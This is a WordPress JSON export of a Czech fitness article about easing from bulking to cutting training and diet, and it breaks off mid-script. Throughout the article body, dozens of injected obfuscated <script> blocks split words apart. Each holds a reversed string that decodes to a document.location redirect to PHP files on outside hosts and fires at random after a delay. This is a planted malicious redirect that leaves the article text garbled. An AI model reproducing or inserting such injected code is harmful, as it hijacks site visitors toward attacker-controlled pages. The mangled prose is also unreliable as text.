{"id":453,"date":"2021-04-29T09:43:08","date_gmt":"2021-04-29T09:43:08","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=453"},"modified":"2021-04-14T09:43:32","modified_gmt":"2021-04-14T09:43:32","slug":"prechod-objemoveho-treninku-k-rysovacimu","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2021\/04\/29\/prechod-objemoveho-treninku-k-rysovacimu\/","title":{"rendered":"P\u0158ECHOD OBJEMOV\u00c9HO TR\u00c9NINKU K R\u00ddSOVAC\u00cdMU"},"content":{"rendered":"<p>Fo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tografie Ale\u0161e Bursy, Pavla Koukala a Adama Wellarta z d\u00edlny Josefa Adlta.<\/p>\n<p>&nbsp;<\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-455 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/04\/web13-221x300.jpg\" alt=\"\" width=\"291\" height=\"395\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/04\/web13-221x300.jpg 221w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/04\/web13-768x1043.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/04\/web13-754x1024.jpg 754w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/04\/web13.jpg 800w\" sizes=\"auto, (max-width: 291px) 100vw, 291px\" \/>OP\u011aT JE TADY DOBA,<\/strong> kdy se budeme lou\u010dit s\u00a0nevl\u00eddnou, \u0161edivou zimou, sledovat, jak se p\u0159\u00edroda probouz\u00ed, odhazovat vrstvy zimn\u00edho oble\u010den\u00ed a pod nimi objevovat v\u00fdsledky sv\u00fdch zimn\u00edch tr\u00e9nink\u016f, v\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159\u00edpad\u011b zna\u010dn\u011b ovlivn\u011bn\u00fdch koronavirovou situac\u00ed. \u0158adu p\u0159\u00edznivc\u016f posilov\u00e1n\u00ed \u010dek\u00e1 p\u0159echod od klasicky objemov\u00e9ho tr\u00e9ninkov\u00e9ho programu k\u00a0r\u00fdsovac\u00edmu. A\u0165 u\u017e v\u00a0r\u00e1mci p\u0159\u00edpravy na sout\u011b\u017e (dr\u017eme si v\u0161ichni palce, aby se sout\u011b\u017ee v\u00a0le<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u0161n\u00edm roce konaly dle p\u016fvodn\u00edho pl\u00e1nu) nebo kv\u016fli nadch\u00e1zej\u00edc\u00ed pl\u00e1\u017eov\u00e9 sez\u00f3n\u011b.<\/p>\n<p>Pravdou z\u016fst\u00e1v\u00e1, \u017ee nen\u00ed nikdy dobr\u00e9 jeden den odjet objemov\u00fd tr\u00e9nink a ten druh\u00fd radik\u00e1ln\u011b nasadit r\u00fdsov\u00e1n\u00ed. Pro t\u011blo takov\u00fd p\u0159echod znamen\u00e1 drastickou zm\u011bnu, na kterou nebude fyzicky ani ment\u00e1ln\u011b reagovat dob\u0159e. D\u00e1v\u00e1 smysl se aklimatizovat postupn\u011b. Konec konc\u016f \u0159ada z\u00a0v\u00e1s si b\u011bhem zimy na kardio tr\u00e9nink ani nevzpomn\u011bla, striktn\u00ed j\u00eddeln\u00ed\u010dek jste, \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to na n\u011bkolik m\u011bs\u00edc\u016f, opustili, tak\u017ee sko\u010dit rovn\u00fdma nohama do tvrd\u00e9ho re\u017eimu nen\u00ed \u00fapln\u011b \u017e\u00e1douc\u00ed.<\/p>\n<p>Porad\u00edme v\u00e1m, jak tenhle p\u0159echod zvl\u00e1dnout plynule a efektivn\u011b. M\u00eds<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to z\u00e1sadn\u00edch kalorick\u00fdch \u0161krt\u016f se budete je\u0161t\u011b n\u011bkolik t\u00fddn\u016f dr\u017eet s\u00a0kalorick\u00fdm p\u0159\u00edjmem o n\u011bco v\u00fd\u0161, co\u017e zajist\u00ed ochranu svalov\u00e9 hmoty. Sou\u010dasn\u011b v\u00e1m p\u0159echodov\u00e1 f\u00e1ze zajist\u00ed dobrou psychologickou i fyzickou adaptaci a a\u017e n\u00e1sledn\u011b p\u0159itvrd\u00edte, budete m\u00edt jis<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>totu, \u017ee je t\u011blo na n\u00e1ro\u010dn\u00fd r\u00fdsovac\u00ed tr\u00e9nink i dietu dostate\u010dn\u011b p\u0159ipraven\u00e9. S\u00a0kardio aktivitami za\u010dnete postupn\u011b, co\u017e va\u0161e kolena i kotn\u00edky bezpochyby ocen\u00ed.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>JARN\u00cd \u00daKLID V\u00a0J\u00cdDELN\u00cd\u010cKU<\/strong><\/p>\n<p>Asi si nemus\u00edme nic nalh\u00e1vat \u2013 p\u0159es zimu jste docela ur\u010dit\u011b kapku polevili. Minim\u00e1ln\u011b obdob\u00ed V\u00e1noc b\u00fdv\u00e1 v\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to sm\u011bru v\u00edce ne\u017e rizikov\u00e9. N\u011bkoho v\u00edc l\u00e1kaj\u00ed vanilkov\u00e9 rohl\u00ed\u010dky, jin\u00fd podl\u00e9h\u00e1 bramborov\u00e9mu sal\u00e1tu, kalorick\u00e9 kalkula\u010dky z\u016fst\u00e1vaj\u00ed opomenuty, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee by uk\u00e1zaly alarmuj\u00edc\u00ed \u010d\u00edsla. Jedno je ale jist\u00e9 \u2013 ve v\u011bt\u0161in\u011b p\u0159\u00edpad\u016f v\u00e1s n\u011bco takov\u00e9ho neohroz\u00ed. Kr\u00e1tkodob\u011b nen\u00ed v\u016fbec na \u0161kodu si trochu dop\u0159\u00e1t, vypadnout ze zajet\u00fdch kolej\u00ed a organismus kapku \u0161okovat. Kdy\u017e nav\u00edc uv\u00e1\u017e\u00edte, \u017ee m\u00e1me za sebou podzim a zimu ve znamen\u00ed koronavirov\u00fdch opat\u0159en\u00ed, zav\u0159en\u00fdch fitness center a napros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nedosta\u010duj\u00edc\u00edch podm\u00ednek ke kvalitn\u00edmu tr\u00e9ninku, za takov\u00fdch okolnost\u00ed by gau\u010di, sledov\u00e1n\u00ed obl\u00edben\u00fdch seri\u00e1l\u016f a konzumaci kalorick\u00fdch pochoutek odolal m\u00e1lokdo. Novoro\u010dn\u00ed p\u0159edsevzet\u00ed byla jist\u011b pov\u011bt\u0161inou spojena s\u00a0p\u0159\u00e1n\u00edm, aby se sv\u011bt co nejd\u0159\u00edve vr\u00e1til do \u201estar\u00fdch kolej\u00ed\u201c. Prvn\u00ed t\u00fddny nov\u00e9ho roku se ale v\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to sm\u011bru nevyv\u00edjely v\u016fbec slibn\u011b. Jestli <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu odpov\u00eddalo i va\u0161e tr\u00e9ninkov\u00e9 a stravovac\u00ed nasazen\u00ed, nic si nevy\u010d\u00edtejte. Zkuste s\u00a0n\u00e1mi zvl\u00e1dnout n\u00e1sleduj\u00edc\u00ed dva m\u011bs\u00edce s\u00a0c\u00edlem p\u0159ipravit se na jarn\u00ed a letn\u00ed sez\u00f3nu co nejl\u00e9pe. Jestli pot\u0159ebujete inspiraci v\u00a0kuchyni, nalistujte si recepty na stran\u011b 68.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Jak postupn\u011b upravit j\u00eddeln\u00ed\u010dek<\/strong><\/p>\n<ol>\n<li><strong>\u2013 2. T\u00ddDEN<\/strong><\/li>\n<\/ol>\n<ul>\n<li>Ve\u010dern\u00ed j\u00eddlo upravte tak, aby neobsahovalo komplexn\u00ed sacharidy.<\/li>\n<li>\u201eNespor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovn\u00ed\u201c pokrmy si dovolte maxim\u00e1ln\u011b \u010dty\u0159ikr\u00e1t do t\u00fddne. Co si pod t\u00edm<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return 